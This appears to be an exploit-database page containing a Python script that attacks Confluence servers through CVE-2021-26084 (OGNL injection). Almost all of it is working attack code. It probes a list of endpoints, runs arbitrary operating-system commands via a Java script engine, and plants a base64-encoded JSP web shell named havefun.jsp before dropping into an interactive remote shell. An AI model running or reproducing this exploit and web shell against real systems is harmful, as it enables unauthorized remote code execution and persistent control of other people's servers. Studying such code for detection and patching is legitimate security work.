Exploit databaseDownload repository ZIP
GH-584881bf7259791c410fecb39db4c07f
zz-socmap/cve-2021-26084
Sources for CVE-2021-26084
37 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
zz-socmap/cve-2021-26084Revision 5a9aeb2a764d
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2021-26084.py
Python · 9,166 bytesimport time
import requests
from loguru import logger
from requests import Session
import random
import urllib3
import html
import re
from urllib.parse import quote
from ua_pools import ua
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class CVE_2021_26084():
@logger.catch('ERROR')
def __init__(self):
self.endpoints = [
"/pages/createpage-entervariables.action?SpaceKey=x",
"/pages/doenterpagevariables.action",
"/pages/createpage.action?spaceKey=myproj",
"/users/user-dark-features",
"/pages/templates2/viewpagetemplate.action",
"/template/custom/content-editor",
"/templates/editor-preload-container",
"/pages/createpage-entervariables.action"
]
self.head = {
"User-Agent": random.choice(ua),
"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Language": "en-US,en;q=0.9"
}
@logger.catch('ERROR')
def poc(self, target: str, cmd: str = 'whoami', shell: bool = False):
is_hacked = False
weak_endpoits = []
session = Session()
poc_data = {
"queryString": "cve202126084\\u0027,(linkCreation)(0xd0ff90),\\u0027cve202126084",
"linkCreation": "@java.lang.Runtime@getRuntime().exec('" + cmd + "')"
}
for endpoint in self.endpoints:
url = target.rstrip('/') + endpoint
try:
resp = session.post(url, data=poc_data, headers=self.head, verify=False, timeout=5).content.decode('utf-8')
if 'cve202126084' in resp:
weak_endpoits.append(endpoint)
is_hacked = True
except Exception as e:
continue
if not shell:
if not is_hacked:
logger.info(f'[x] {target} have not vulnerability CVE-2021-26084.')
else:
logger.info(f'[*] {target} have vulnerability CVE-2021-26084.')
logger.info(f'[*] the weak endpoits are:')
for weak_endpoit in weak_endpoits:
logger.info(f'--- {weak_endpoit}')
return is_hacked, weak_endpoits
@logger.catch('ERROR')
def exp(self, target: str, cmd: str = 'whoami', shell: bool = False):
is_hacked, endpoints = self.poc(target, cmd, shell)
if not is_hacked:
return
exp_data = {
"queryString": "cve202126084\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022" + cmd + "\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"
}
if not shell:
logger.info(f"[*] exp cmd: {cmd}")
for endpoint in endpoints:
url = target.rstrip('/') + endpoint
try:
resp = requests.post(url, data=exp_data, headers=self.head, verify=False, timeout=5).content.decode('utf-8')
result = re.findall("value=\"cve202126084\[(.*)\n", resp)[0]
if not shell:
logger.info(f'[*] exp use endpoint: {endpoint}')
logger.info(f'[*] cmd response: {html.unescape(result)}')
else:
print(html.unescape(result))
break
except Exception as e:
continue
@logger.catch('ERROR')
def getshell(self, target: str):
is_hacked, endpoints = self.poc(target, cmd)
if not is_hacked:
return
session = Session()
shell = "PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZhLnV0aWwuemlwLioiJT4NCjwlIQ0KICBjbGFzcyBVIGV4dGVuZHMgQ2xh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5dGVbXSBiYXNlNjREZWNvZGUoU3RyaW5nIHN0cikgdGhyb3dzIEV4Y2VwdGlvbiB7DQogICAgdHJ5IHsNCiAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgic3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOw0KICAgICAgcmV0dXJuIChieXRlW10pIGNsYXp6LmdldE1ldGhvZCgiZGVjb2RlQnVmZmVyIiwgU3RyaW5nLmNsYXNzKS5pbnZva2UoY2xhenoubmV3SW5zdGFuY2UoKSwgc3RyKTsNCiAgICB9IGNhdGNoIChFeGNlcHRpb24gZSkgew0KICAgICAgQ2xhc3MgY2xhenogPSBDbGFzcy5mb3JOYW1lKCJqYXZhLnV0aWwuQmFzZTY0Iik7DQogICAgICBPYmplY3QgZGVjb2RlciA9IGNsYXp6LmdldE1ldGhvZCgiZ2V0RGVjb2RlciIpLmludm9rZShudWxsKTsNCiAgICAgIHJldHVybiAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBTdHJpbmcuY2xhc3MpLmludm9rZShkZWNvZGVyLCBzdHIpOw0KICAgIH0NCiAgfQ0KJT4NCjwlDQogIFN0cmluZyBjbHMgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiYW50Iik7DQogIGlmIChjbHMgIT0gbnVsbCkgew0KICAgIG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGRlY29tcHJlc3MoYmFzZTY0RGVjb2RlKGNscykpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7DQogIH0NCiU+"
shell_data = {
"queryString": "\\u0027%2b#{\\u0022\\u0022[\\u0022class\\u0022].forName(\\u0022javax.script.ScriptEngineManager\\u0022).newInstance().getEngineByName(\\u0022js\\u0022).eval(\\u0022var b64Shell=\\u0027" + quote(shell) + "\\u0027;var shell=new java.lang.String(java.util.Base64.getDecoder().decode(b64Shell));var f=new java.io.FileOutputStream(new java.io.File(\\u0027../confluence/havefun.jsp\\u0027));f.write(shell.getBytes());f.close();\\u0022)}%2b\\u0027"
}
for endpoint in self.endpoints:
logger.info(endpoint)
url = target.rstrip('/') + endpoint
shellPath = url + "/havefun.jsp"
try:
resp = session.post(url, data=shell_data, headers=self.head, verify=False, timeout=5).content.decode('utf-8')
if resp.find("value=\"{null=null}\""):
req1 = session.get(shellPath, headers=self.head, verify=False, timeout=5)
if req1.status_code == 200:
logger.info(f'[*] shell use endpoint: {endpoint}')
logger.info(f"[*] {shellPath} pass: ant")
return True
else:
logger.error(req1.status_code)
continue
except Exception as e:
continue
return False
@logger.catch('ERROR')
def dia(self, url: str, mode: str = 'poc', cmd: str = 'whoami'):
if 'http' not in url:
target = f'http://{url}'
elif 'https' in url:
target = url.replace('https', 'http')
else:
target = url
if mode == 'poc':
self.poc(target, cmd)
elif mode == 'exp':
self.exp(target, cmd)
elif mode == 'shell':
sig = self.getshell(target)
time.sleep(0.3)
while sig:
command = input("antx@shell$ ")
if command == 'exit' or command == 'quit':
break
else:
self.exp(target, command, True)
else:
logger.error('Invalid mode, please select one mode in poc, exp or shell.')
if __name__ == '__main__':
# url = 'http://127.0.0.1:8090' # have no CVE-2021-26084
url = 'http://127.0.0.1:8090' # have CVE-2021-26084
cmd = 'uname'
mode = 'poc'
poc = CVE_2021_26084()
poc.dia(url, mode, cmd)